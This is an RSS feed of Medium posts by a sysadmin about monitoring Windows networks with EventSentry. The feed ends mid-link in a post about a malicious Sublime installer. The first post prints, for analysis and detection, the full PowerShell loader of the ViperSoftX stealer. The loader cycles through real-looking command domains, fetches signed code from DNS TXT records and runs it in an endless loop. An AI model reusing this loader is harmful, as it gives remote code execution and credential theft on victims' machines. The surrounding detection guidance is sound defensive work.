<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Javier Bruno on Medium]]></title>
        <description><![CDATA[Stories by Javier Bruno on Medium]]></description>
        <link>https://medium.com/@jvmbruno?source=rss-1bd6425bd6b8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9tZllbdH85iMkhbCGGjM7Q.jpeg</url>
            <title>Stories by Javier Bruno on Medium</title>
            <link>https://medium.com/@jvmbruno?source=rss-1bd6425bd6b8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 14:58:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jvmbruno/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Predict the Future! A universal approach to detecting malicious PowerShell activity]]></title>
            <link>https://medium.com/@jvmbruno/predict-the-future-a-universal-approach-to-detecting-malicious-powershell-activity-640f9d08a719?source=rss-1bd6425bd6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/640f9d08a719</guid>
            <category><![CDATA[monitoring-software]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-detection]]></category>
            <dc:creator><![CDATA[Javier Bruno]]></dc:creator>
            <pubDate>Thu, 21 Dec 2023 16:19:52 GMT</pubDate>
            <atom:updated>2024-01-09T16:34:02.325Z</atom:updated>
            <content:encoded><![CDATA[<h3>Index</h3><ul><li><a href="#af64">Introduction</a></li><li><a href="#f3e7">The Malware Code</a></li><li><a href="#93eb">Malware Code Explanation</a></li><li><a href="#9637">Configuring EventSentry to detect suspicious activity</a></li><li><a href="#3567">Wrapping things up</a></li></ul><h3>Introduction</h3><p>So, here’s the deal with AntiVirus software these days: It’s mostly playing catch-up with super-fast athletes — the malware guys. Traditional AV software is like old-school detectives who need a picture (or, in this case, a ‘signature’) of the bad guys to know who they’re chasing. The trouble is, these malware creators are quite sneaky — constantly changing their look and creating new disguises faster than AntiVirus can keep up with their photos.</p><p>Malware, Trojans, Ransomware, and the like often involve targeted attacks, meticulously crafted for specific victims. This tailored approach makes them less detectable to Anti-Malware and AV software, as these threats can fly under the radar, thus avoiding the usual detection mechanisms. <br> <br>But now imagine if, instead of looking for a specific face, you had a smart system that could spot anyone acting suspiciously: Like trying to sneak into a secured building or messing with things they shouldn’t. That’s where EventSentry comes in. It’s not about knowing exactly who the bad guys are, but more about spotting them based on what they’re doing, which can be significantly more effective.</p><p>I encountered Malware which has been circulating for nearly two years, yet it remains undetected by most AV software. This is primarily because these programs rely heavily on signature-based detection. The creators of the malware have altered their method of infection while continuing to use the same VBScript for initialization with the host system. They also use an identical PowerShell script for downloading updated versions of its malware and uploading stolen credentials from infected computers. Interestingly, only about 10% of AntiVirus solutions listed on virustotal.com (6 out of 46) can detect these scripts. (<a href="https://www.virustotal.com/gui/file/d247c46767c82ba2648dc5080ef7f2690171febfb8e93bc726d7e469289721e6/detection">Link 1</a> / <a href="https://www.virustotal.com/gui/file/e109aaad4fa521a6fb03972cfac2953e1e5ef167ee4e5b399a9fc8facc5b08a1/details">Link 2</a>)</p><p>This article will illustrate how to set up EventSentry to proactively detect abnormal PowerShell behavior based on a simple property: The runtime duration of the <strong>powershell.exe</strong> process. Normally, PowerShell scripts run at most for a few minutes — the majority even less. But in this case, the PowerShell script keeps running continuously in the background — something quite unusual.</p><p>Consequently, we will be configuring EventSentry to generate an alert when a host has a PowerShell process running for more than 15 minutes, and also set a second action that can be used to terminate the process, collect more data about the host, etc. Since EventSentry can trigger any process in response to an alert, the options are almost limitless.</p><h3><strong>The Malware Code</strong></h3><p>The specific Malware we will be looking at is ViperSoftX, but this approach will universally apply to most types of malwares, trojans, and Ransomware that utilize PowerShell.</p><p>ViperSoftX is known for stealing credentials and focusing on crypto wallets. The malware runs a PowerShell script where it executes some of the code it is getting from an obfuscated registry key. It also gets code from a DNS TXT record for later when it tries to contact a website over HTTP. The first versions of this Malware script are from 2020, but even new versions of the script which are still in circulation are from 2022 (<a href="https://www.virustotal.com/gui/file/d247c46767c82ba2648dc5080ef7f2690171febfb8e93bc726d7e469289721e6/details">Link to VirusTotal</a>). Consider that, at the time of writing, the script below is only detected by 14 of 51 AV programs.</p><p>For educational purposes, the script code is shown below:</p><pre>&#39;6D2C511F-7E9A-4E68-BF52-7A8790702FA4&#39;; <br>$ms = [IO.MemoryStream]::new(); <br><br>function Get-Updates { <br>    param ( <br>        $hostname <br>    ) <br>    try { <br>        $dns = Resolve-DnsName -Name $hostname -Type &#39;TXT&#39;  <br>        $ms.SetLength(0); <br>        $ms.Position = 0; <br>        foreach ($txt in $dns) { <br>            try { <br>                if ($txt.Type -ne &#39;TXT&#39;) { <br>                    continue; <br>                } <br>                $pkt = [string]::Join(&#39;&#39;, $txt.Strings); <br>                if ($pkt[0] -eq &#39;.&#39;) { <br>                    $dp = ([type]((([regex]::Matches(&#39;trevnoC&#39;,&#39;.&#39;,&#39;RightToLeft&#39;) | ForEach {$_.value}) -join &#39;&#39;))).GetMethods()[306].Invoke($null, @(($pkt.Substring(1).Replace(&#39;_&#39;, &#39;+&#39;)))); <br>                    $ms.Position = [BitConverter]::ToUInt32($dp, 0); <br>                    $ms.Write($dp, 4, $dp.Length - 4); <br>                } <br>            } <br>            catch { <br>            } <br>        } <br>  <br>        if ($ms.Length -gt 136) { <br>            $ms.Position = 0; <br>            $sig = [byte[]]::new(128); <br>            $timestamp = [byte[]]::new(8); <br>            $buffer = [byte[]]::new($ms.Length - 136); <br>            $ms.Read($sig, 0, 128) | Out-Null; <br>            $ms.Read($timestamp, 0, 8) | Out-Null; <br>            $ms.Read($buffer, 0, $buffer.Length) | Out-Null; <br>            $pubkey = [Security.Cryptography.RSACryptoServiceProvider]::new(); <br>    [byte[]]$bytarr = 6,2,0,0,0,164,0,0,82,83,65,49,0,4,0,0,1,0,1,0,171,136,19,139,215,31,169,242,133,11,146,105,79,13,140,88,119,0,2,249,79,17,77,152,228,162,31,56,117,89,68,182,194,170,250,16,3,78,104,92,37,37,9,250,164,244,195,118,92,190,58,20,35,134,83,10,229,114,229,137,244,178,10,31,46,80,221,73,129,240,183,9,245,177,196,77,143,71,142,60,5,117,241,54,2,116,23,225,145,53,46,21,142,158,206,250,181,241,8,110,101,84,218,219,99,196,195,112,71,93,55,111,218,209,12,101,165,45,13,36,118,97,232,193,245,221,180,169 <br>            $pubkey.ImportCspBlob($bytarr); <br>            if ($pubkey.VerifyData($buffer, [Security.Cryptography.CryptoConfig]::MapNameToOID(&#39;SHA256&#39;), $sig)) { <br>                return @{ <br>                    timestamp = ([System.BitConverter]::ToUInt64($timestamp, 0)); <br>                    text      = ([Text.Encoding]::UTF8.GetString($buffer)); <br>                }; <br>            }  <br>        } <br>    } <br>    catch { <br>    } <br>    return $null; <br>} <br>  <br>while ($true) { <br>    try { <br>        $update = @{ <br>            timestamp = 0; <br>            text      = &#39;&#39;;             <br>        }; <br>        foreach ($c in (@(&quot;com&quot;, &quot;xyz&quot;))) { <br>            foreach ($a in (@(&quot;wmail&quot;, &quot;fairu&quot;, &quot;bideo&quot;, &quot;privatproxy&quot;, &quot;ahoravideo&quot;))) { <br>                foreach ($b in (@(&quot;endpoint&quot;, &quot;blog&quot;, &quot;chat&quot;, &quot;cdn&quot;, &quot;schnellvpn&quot;))) { <br>                    try { <br>                        $h = &quot;$a-$b.$c&quot;; <br>                        $r = Get-Updates $h <br>                        if ($null -ne $r) { <br>                            if ($r.timestamp -gt $update.timestamp) { <br>                                $update = $r; <br>                            } <br>                        } <br>                    } <br>                    catch { <br>                    } <br>                } <br>            } <br>        } <br>  <br>        if ($update.text) { <br>            $job = Start-Job -ScriptBlock ([scriptblock]::Create($update.text)); <br>            $job | Wait-Job -Timeout 14400; <br>            $job | Stop-Job; <br>        } <br>    } <br>    catch { <br>    } <br>    Start-Sleep -Seconds 30; <br>}</pre><h3><strong>Malware Code Explanation</strong></h3><h3><strong>Initial Setup:</strong></h3><p>A GUID 6D2C511F-7E9A-4E68-BF52–7A8790702FA4 is defined but not used within the script.</p><p>A MemoryStream ($ms) object is initialized to hold data in memory.</p><h3><strong>Function: Get-Updates</strong></h3><h4><strong>Parameters:</strong></h4><p>$hostname: A hostname to be resolved using DNS and queried for TXT records.</p><h3><strong>What it does:</strong></h3><h4><strong>DNS Query:</strong></h4><p>It performs a DNS TXT record query for the $hostname argument</p><h4><strong>Data Extraction and Decoding:</strong></h4><p>Iterates through each DNS TXT record, extracting and decoding content based on specific conditions and logic.</p><h4><strong>Data Writing to MemoryStream:</strong></h4><p>Stores the extracted and potentially manipulated data in the $ms variable</p><h4><strong>Signature Verification and Data Retrieval:</strong></h4><p>Checks if $ms.Length is larger than 136, and if so, it:</p><ul><li>Reads and separates data from $ms into three-byte arrays: $sig, $timestamp, and $buffer.</li><li>Sets up a predefined public RSA key.</li><li>Verifies the $buffer data with the signature $sig is using the RSA public key.</li><li>If the verification succeeds, returns a hashtable containing:</li><li>timestamp: Converted to UInt64 from the byte array.</li><li>text: Decoded UTF8 string from $buffer.</li></ul><h3><strong>Infinite Loop: while ($true)</strong></h3><ul><li><strong>Nested Iterations: </strong>Iterates through predefined strings to construct hostnames in the format “$a-$b.$c”. Calls Get-Updates with the constructed hostname.</li><li><strong>Update Execution: </strong>If a verified update ($update.text) is found: Executes the code contained within $update.text in a background job.It then waits for up to 14400 seconds (4 hours) for the job to complete, after which it is stopped regardless of completion status.</li><li><strong>Sleep: </strong>Pauses the script for 30 seconds before the next iteration of the infinite loop.</li></ul><h3>Configuring EventSentry to detect suspicious activity</h3><p>In light of this specific situation, it is clear that PowerShell scripts should not run for longer than 10 minutes, except in cases where there is a need to export a large list of emails, perform recursive tasks on files, or similar extensive operations. However, such tasks are typically carried out by administrators, making them relatively straightforward to identify (and white-list).</p><ul><li>Open EventSentry Management Console</li><li>From the left menu tree expand Packages and click on System Health (1)</li><li>From the top ribbon, click on ADD to add a new Package (2)</li><li>Name the Package (Ex: Threat Intel) and press enter (3)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F5mg498HlPlYgI92aSy6uQ.png" /><figcaption>Screenshot 1 — Creating the Package</figcaption></figure><ul><li>Right-click on the just-created filter (1) click on add (2) then Performance / SNMP (3), and then click on the new filter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*--l4bMDA-24K_KamZe8X2Q.png" /><figcaption>Screenshot 2 — Creating the filter</figcaption></figure><ul><li>Click on the just-created filter (Performance / SNMP) (1)</li><li>From the right windows click on (+) button (2), and a new window will open.</li><li>Under General / Name, Enter the desired name for this filter (3)</li><li>Right to the Windows Counter, enter “Process(*)\Elapsed Time” (4) or you can also click on Browse, select “Preocess” and under the counter “Elapsed time” and click ok. In that case, be sure to replace “_Total” with “*”</li><li>Change the “Exclusions” drop, to “Inclusions” (5)</li><li>enter “PowerShell*” (6)</li><li>Enter a Description for the counter (Optional) (7)</li><li>Click on Alert Tab (8)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*8NHJpdUc_5Zz4vDzCRJ-7g.png" /><figcaption>Screenshot 3 — Editing the Filter</figcaption></figure><ul><li>In Alert tab be sure to have checked the “Enable Event Log Alert” and Warning is selected (1)</li><li>Set Alert if value is “more than” (2)</li><li>The first field is expressed in seconds, for this example we use 600, that means 10 Minutes (3)</li><li>for “1” / “Second(s)” (4)</li><li>Click OK (5) to finish editing the filter.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*vity-TcjaWKoZNssvC66AA.png" /><figcaption>Screenshot 4 — Editing Filter(2)</figcaption></figure><p>Make sure you assign the package by right-clicking on the package and clicking “Assign”, and selecting the Computers or Groups to assign this package to. Alternatively, you can make the package Global so that it applies to all hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*3bx3zlUqBj8pnSaGODxbOQ.png" /><figcaption>Screenshot 5 — Assigning package</figcaption></figure><p>Explanation: We just created a package (Thread Intel) with a filter for Performance / SNMP, that will monitor all processes, but only select “powershell*” (the * is because multiple PowerShell instances will be named powershell#1 powershell#2 and so on). and will generate an alert in the event log if the process is running for more than 600 seconds (10 minutes).</p><h3>Wrapping things up</h3><p>Configuring EventSentry for monitoring these key behaviors is proactive, not reactive: It’s like having a guard that doesn’t wait for a wanted thief but instead looks out for anyone acting like a thief.</p><p>Relying only on traditional AV software is like using an old map to navigate a city that’s constantly changing. Mixing it up with behavioral monitoring is key to keeping up with the ever-tricky world of Malware. It’s all about being smart and staying one step ahead in the cybersecurity game!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ooDFSuK-b8m0sPig" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=640f9d08a719" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Compliance Chronicles: A SysAdmin’s Journey from Stress to Peace of Mind]]></title>
            <link>https://medium.com/@jvmbruno/compliance-chronicles-how-the-sysadmin-left-anxiety-and-stopped-worrying-94fc2c6b2f27?source=rss-1bd6425bd6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/94fc2c6b2f27</guid>
            <category><![CDATA[free-tools]]></category>
            <category><![CDATA[compliance]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[compliance-management]]></category>
            <category><![CDATA[eventsentry]]></category>
            <dc:creator><![CDATA[Javier Bruno]]></dc:creator>
            <pubDate>Tue, 14 Nov 2023 17:29:24 GMT</pubDate>
            <atom:updated>2023-11-14T18:40:43.141Z</atom:updated>
            <content:encoded><![CDATA[<p>Nota: Hay una versión en Español de este artículo <a href="https://medium.com/@jvmbruno-es/cr%C3%B3nicas-de-compliance-c%C3%B3mo-el-sysadmin-dej%C3%B3-la-ansiedad-y-la-preocupaci%C3%B3n-341b60f341ff">aquí</a></p><p>The life of a SysAdmin is complicated, lonely, and often thankless. I could start any article with that sentence, and every sysadmin would nod in agreement. When you start in a new job or a big new project, you always face challenges — network cables going to Narnia in a rack that no one dares to touch. “Maybe if I unplug this network cable, the microwave on the 7th floor will stop working.” But you roll up your sleeves and do what no one before you dared to do: you rebuild that rack and make it so beautiful it’s ready for a photo shoot to grace your living room. Every morning, you pass by, look at it, and your pride swells. And you think that was the worst of it, that now everything will be easier. But the next day, you get an email from someone non-technical, asking for the implementation of something that makes no sense. But Hey! They’ve already made the decision and never consulted you if it was even possible. But then they won’t replace the 3Com switch, which has more birthdays than Laura at the front desk, because there’s no budget. Yes, it happened to us, happens to us, and will happen to all SysAdmins.</p><p>If it hasn’t happened to you yet, you’ll soon receive an email from the most unexpected sender, maybe someone from marketing or sales: “Hey, we need to be [insert the name of the latest compliance trend] compliant by the end of the month. I sent a quote to the client, and I told them we were.”</p><p>We (at least me and the folks I talk to) are technical creatures, often with little time on our hands. So, we go and read the post about the Compliance they’re asking for, and in an ideal world, we hope for something like “Passwords must have a minimum of 8 characters and one symbol and expire in 30 days.” But instead, we find ourselves facing “A Memorized Secret authenticator is a secret value intended to be chosen and memorized by the user. Memorized secrets need to be of sufficient complexity and secrecy that it would be impractical for an attacker to guess or otherwise discover the correct secret value.” (This text is real, and is taken from a real compliance publication…) I know, I’ve been there.</p><p>I’ve been working on scripts (mostly for Windows platforms) that perform Compliance checks (and also security, best practices, etc.) for a while now, and it’s really complex, especially when you don’t have time for it. These <a href="https://www.eventsentry.com/validationscripts">Validation Scripts</a> are part of the licensed software <a href="https://www.eventsentry.com/">EventSentry</a>. But recently, with the Dev team, we decided to make them freely accessible through the <a href="https://www.eventsentry.com/sysadmintools">SysAdmin Tools</a> (a completely free toolset). So, if you manage a Windows network and need help with compliance and security, it’s a good time to take a look at Compliance Validator in the <a href="https://www.eventsentry.com/sysadmintools">SysAdmin Tool</a>s. You can run it on your desktop or server, choose the compliance tag, or select all and see how bad you’re doing. If you find it valuable, the same functionality (along with thousands of others) is embedded in <a href="https://www.eventsentry.com/">EventSentry</a>. I’ll leave you with some screenshots:</p><p>You can select one, several, or all the tags, depending on what kind of checks you want to run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*EvUdXMWTpGHwvzbh4ceMGQ.png" /><figcaption>Tags Selection</figcaption></figure><p>The status window will show you the scripts/checks that were performed and whether they passed or not. N/A mostly informs that this script/check does not apply to the computer (it might be only for Domain Controllers, Server Operating Systems, etc.). At the bottom window, it informs us why it didn’t pass. The “More information” button will take us to a webpage where it will show more information and how to remedy the problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*HwJC5ehzZ854j2dQ5reeiw.png" /><figcaption>Status Window</figcaption></figure><p>As always, thank you for your time in reading this article! If you made it this far without checking your phone or getting distracted by cute cat videos, you have my respect.</p><p>PD: In case you missed the links in the article, here they are:<br>SysAdmin Tools: <a href="https://www.eventsentry.com/sysadmintools">https://www.eventsentry.com/sysadmintools</a><br>EventSentry Validation Scripts: <a href="https://www.eventsentry.com/validationscripts">https://www.eventsentry.com/validationscripts</a><br>EventSentry: <a href="https://www.eventsentry.com/">https://www.eventsentry.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94fc2c6b2f27" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Life of the Sysadmin (A Patch Tuesday Story)]]></title>
            <link>https://medium.com/@jvmbruno/the-life-of-the-sysadmin-a-patch-tuesday-story-7b1df9d13a13?source=rss-1bd6425bd6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b1df9d13a13</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[patch-tuesday]]></category>
            <category><![CDATA[sysadmin]]></category>
            <category><![CDATA[patch-management]]></category>
            <dc:creator><![CDATA[Javier Bruno]]></dc:creator>
            <pubDate>Thu, 19 Jan 2023 21:36:38 GMT</pubDate>
            <atom:updated>2023-01-20T16:43:55.403Z</atom:updated>
            <content:encoded><![CDATA[<p>(Para version en Español <a href="https://medium.com/@jvmbruno-es/la-vida-del-sysadmin-una-historia-de-patch-tuesdays-4641bfc1aac">Aquí</a>)</p><p>The System Administrator, also known as Sysadmin. This dignitary of the network, computers, and basically anything that has to do with technology. This dignitary, who is hated for security restrictions, and is quickly forgotten when everything works well.</p><p>The one that nobody thinks of when the internet is working well, but is first on the list when “facebukk.com” says “domain does not exist”. Who is attacked in the early hours of the day with an “I can’t print” without a previous “Good morning, how are you”. Who is brought a personal laptop to be fixed, with the promise of invoices that never arrive.</p><p>If you are a Sysadmin you surely felt identified, I know, it happened to us and it happens to all of us. While Roxana at the reception desk keeps calling you because she can’t listen to her favorite radio because the page won’t load, never opening a ticket. You read that this January Patch Tuesday has about 98 CVEs of which about 10 are critical.</p><p>Again in the list of CVEs you read known actors like: NTLM, ODBC Driver, RPC, Print Spooler, Microsoft Office, Microsoft Exchange Server, etc. And inside you say “When are they going to fix everything for good?”</p><p>But you have no choice, it’s too late to go back and choose another career. You have made up your mind, you are going to be the best Sysadmin. Some days you doubt your mental health, but you roll up your sleeves and keep going.</p><p>You need to be everywhere and at the same time add paper to Carla’s printer on the second floor, who was euphoric that she couldn’t print.</p><p>Unfortunately, there is no software to make Carla read the error message before calling you. But there is software to be able to check that the patches have been applied. Whether you have a WSUS or not. I use <a href="https://www.eventsentry.com/">EventSentry</a>. For example, with validation scripts I can quickly see which machine on the network is not running the latest build (patch):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8cQy6A_6D15XR-c3.png" /><figcaption>Demo Link <a href="https://demo.eventsentry.com/validationscripts?search.query=%20script%3A%22Windows%20OS%3F%20Build%20Version%20Check%20%3FOS%20Updated%3F%22%20&amp;search.dateRange=Last%203%20days&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=">Here</a>.</figcaption></figure><p>Or, if I wanted to, I could also check that a specific patch has been applied:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vjVG_RpcN_IGryes.png" /><figcaption>Demo Link <a href="https://demo.eventsentry.com/patchinventory?search.query=&amp;search.dateRange=undefined&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=">Here</a>.</figcaption></figure><p>And using the search I can search, for example, if the patch for CVE-2023–21674 (KB5022282) (Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability) was applied on the CEO’s computer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Wq3FmMBXAjXTkECN.png" /><figcaption>Demo Link<a href="https://demo.eventsentry.com/patchinventory?search.type=detailed&amp;search.refresh=&amp;search.group=&amp;search.agg=&amp;search.union=&amp;report=&amp;pageDefault=&amp;search.query=application%3A*KB5022282*+AND+computer%3ADESKTOP03+&amp;search.fromDate=&amp;hour=&amp;minute=&amp;meridian=&amp;search.fromTime=&amp;search.toDate=&amp;hour=&amp;minute=&amp;meridian=&amp;search.toTime=&amp;search.limit=2500&amp;search.order=recorddate&amp;search.sort=desc&amp;columns=recorddate&amp;columns=group&amp;columns=computer&amp;columns=publisher&amp;columns=application&amp;columns=version&amp;columns=installdir&amp;columns=installdate&amp;search.page=1&amp;refresh="> Here</a>.</figcaption></figure><p>But not only Windows, I can also know if any software on any of the computers is out of date:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LLUgul7br5RoZKHV.png" /><figcaption>Demo Link <a href="http://demo.eventsentry.com/softwareinventory?search.type=detailed&amp;search.refresh=&amp;search.group=&amp;search.agg=&amp;search.union=&amp;report=&amp;pageDefault=&amp;search.query=&amp;search.fromDate=&amp;hour=&amp;minute=&amp;meridian=&amp;search.fromTime=&amp;search.toDate=&amp;hour=&amp;minute=&amp;meridian=&amp;search.toTime=&amp;search.limit=50&amp;search.order=application.name&amp;search.sort=asc&amp;columns=recorddate&amp;columns=group&amp;columns=computer&amp;columns=application&amp;columns=version&amp;columns=update&amp;columns=check&amp;columns=downloadurl&amp;columns=endoflife&amp;search.page=1&amp;refresh=">Here</a>.</figcaption></figure><p>I can also check if the printer is out of paper, or out of toner, before going to Carla’s office:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*N0I_Q_w8hpWeRMog.png" /></figure><p>The best thing about all this, is that absolutely everything posted here, comes by default in <a href="https://www.eventsentry.com/">EventSentry</a>. No need to spend hours configuring or activating options. With the default deploy we already have all this.</p><p>There are some day-to-day things that you can’t have control over. But you can definitely have control over the network, the devices and, most importantly, the patches.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b1df9d13a13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Preparing for what you hope will never happen]]></title>
            <link>https://medium.com/@jvmbruno/preparing-for-what-you-hope-will-never-happen-2f28b7a4ef4f?source=rss-1bd6425bd6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f28b7a4ef4f</guid>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[auditing]]></category>
            <category><![CDATA[eventsentry]]></category>
            <category><![CDATA[my-experience]]></category>
            <dc:creator><![CDATA[Javier Bruno]]></dc:creator>
            <pubDate>Thu, 08 Sep 2022 18:11:02 GMT</pubDate>
            <atom:updated>2022-09-08T18:11:02.223Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>(Note: Spanish version <a href="https://medium.com/p/6b66dc552406">here</a>)</blockquote><p>There is a saying that goes “Hope for the best, prepare for the worst”. This was never demonstrated better than what happened to me a while back.</p><p>I happened to be setting up a new server, and I needed to edit a complex configuration file. In my eagerness to finish quickly and at the same time not to break the file format, I decided to quickly go to Google, search and download the Sublime Text Editor.</p><p>As it turns out, the timing was perfect. I googled Sublime, and the first result was an ad. I clicked it quickly, as it appeared to be the page I always saw from Sublime, and downloaded the installer. Yes, I know, you don’t have to tell me, downloading software from the internet directly from a server? A server with free internet access? I know, all wrong, from the beginning. It was a testing server and I got carried away by the urgency of having it “up &amp; running”.</p><p>This was the ad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*1IUjl43qrRekjxXc.png" /></figure><p>It turns out that for a very short time someone created a Google campaign, registered a very similar .com domain, and mirrored the Sublime page. The campaign was only active for a very short time, but the planets aligned for me to just walk into that little time window.</p><p>Even the exe was signed and everything. Perfect phishing and I went in with both feet in front. The installer was weird, the file size didn’t add, and that’s when I realized there was something wrong. I cut off the network access to the server, downloaded the exe in another computer and threw it to <a href="https://virustotal.com/">virustotal.com</a>. Of the 60+ AVs only 3 or 4 already detected it as “possible malware”. That’s when I panicked. (<a href="https://www.virustotal.com/gui/file/8a0b937fd25a2a2d678ea010fac66cea1600dcc7f14ff2587a0bef012710f90f">This is</a> the direct <a href="https://www.virustotal.com/gui/file/8a0b937fd25a2a2d678ea010fac66cea1600dcc7f14ff2587a0bef012710f90f">link </a>to the malware analysis, which funnily enough, still only 15 of 63 AVs detect it even 2 months later.)</p><p>Although I was logged in as a user with local admin access (not a domain admin) I wasn’t sure if perhaps the installer could exploit a security bug and escalate credentials. What if it installed something on another server and at this very moment was encrypting important files (a.k.a ransomware)?</p><p>That was the moment when I realized the real value of logging and auditing tools. One might spend hours “dealing with it” configuring the tools, and maintaining a giant DB, but this was the moment where it all paid off.</p><p>In our same network we use <a href="https://www.eventsentry.com/">EventSentry</a> (obviously), and the first thing you install on any server or desktop is the agent.</p><p>Note: I’m going to use screenshots and public links from the WebReports demo, since it’s easier than deleting internal company data. Each screenshot will be accompanied by a direct link to the demo page to see it live.</p><p>Thanks to <a href="https://www.eventsentry.com/">EventSentry</a> I was able to check if my account had tried to connect to other servers in the network (and if it succeeded or not). So I went immediately to check the logins:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*asc1AQRtz_MJRrl0.png" /><figcaption>Screenshot of the demo page of user logins (<a href="https://demo.eventsentry.com/user?search.dateRange=Last+week">https://demo.eventsentry.com/user?search.dateRange=Last+week</a>).</figcaption></figure><p>I also checked the Logon Failures Tracking (The Logon Failures Tracking)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d4vZSo82nKVAVNFn.png" /><figcaption>Screenshot of Logon Failures Tracking (<a href="https://demo.eventsentry.com/logonfailures?search.query=&amp;search.dateRange=Last%2024%20hours&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=">https://demo.eventsentry.com/logonfailures?search.query=&amp;search.dateRange=Last%2024%20hours&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=</a>)</figcaption></figure><p>But what if the local admin user for some reason had access to a shared folder (or there was a shared folder with access to all users)?</p><p>So I checked the File Access Tracking:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ShvTTSeIZA94dKi5.png" /><figcaption>Screenshot of File Access Tracking (<a href="https://demo.eventsentry.com/fileaccess?search.query=&amp;search.dateRange=Last%2024%20hours&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=">https://demo.eventsentry.com/fileaccess?search.query=&amp;search.dateRange=Last%2024%20hours&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=</a>)</figcaption></figure><p>Since we automatically deploy Sysmon to our desktops and servers (again using <a href="https://www.eventsentry.com/">EventSentry</a>, independent if we have Active Directory or not. The deployment is done with a specific configuration of our own, info: <a href="https://www.eventsentry.com/kb/437-how-to-install-auto-update-and-deploy-sysmon-automatically-using-eventsentry-s-application-scheduler">KB-437</a>) I checked thoroughly if any weird or new process accessed or tried to access to any site (i.e. “Call back home.”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*95aArTcnKDoBgsKg.png" /><figcaption>Process Sysmon screenshot (<a href="https://demo.eventsentry.com/processsysmon?search.query=%20computer%3ADESKTOP01%20&amp;search.dateRange=Last%2015%20minutes&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=">https://demo.eventsentry.com/processsysmon?search.query=%20computer%3ADESKTOP01%20&amp;search.dateRange=Last%2015%20minutes&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=</a>)</figcaption></figure><p>So it looks like it didn’t change anything on the network, but what about internal changes on the server itself? What if it installed a new service? Or what if it modified an existing service and changed the executable directory (to hide the new service alert)?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SXLHc3TBN8pejS3M.png" /><figcaption>Screenshot of Service History (<a 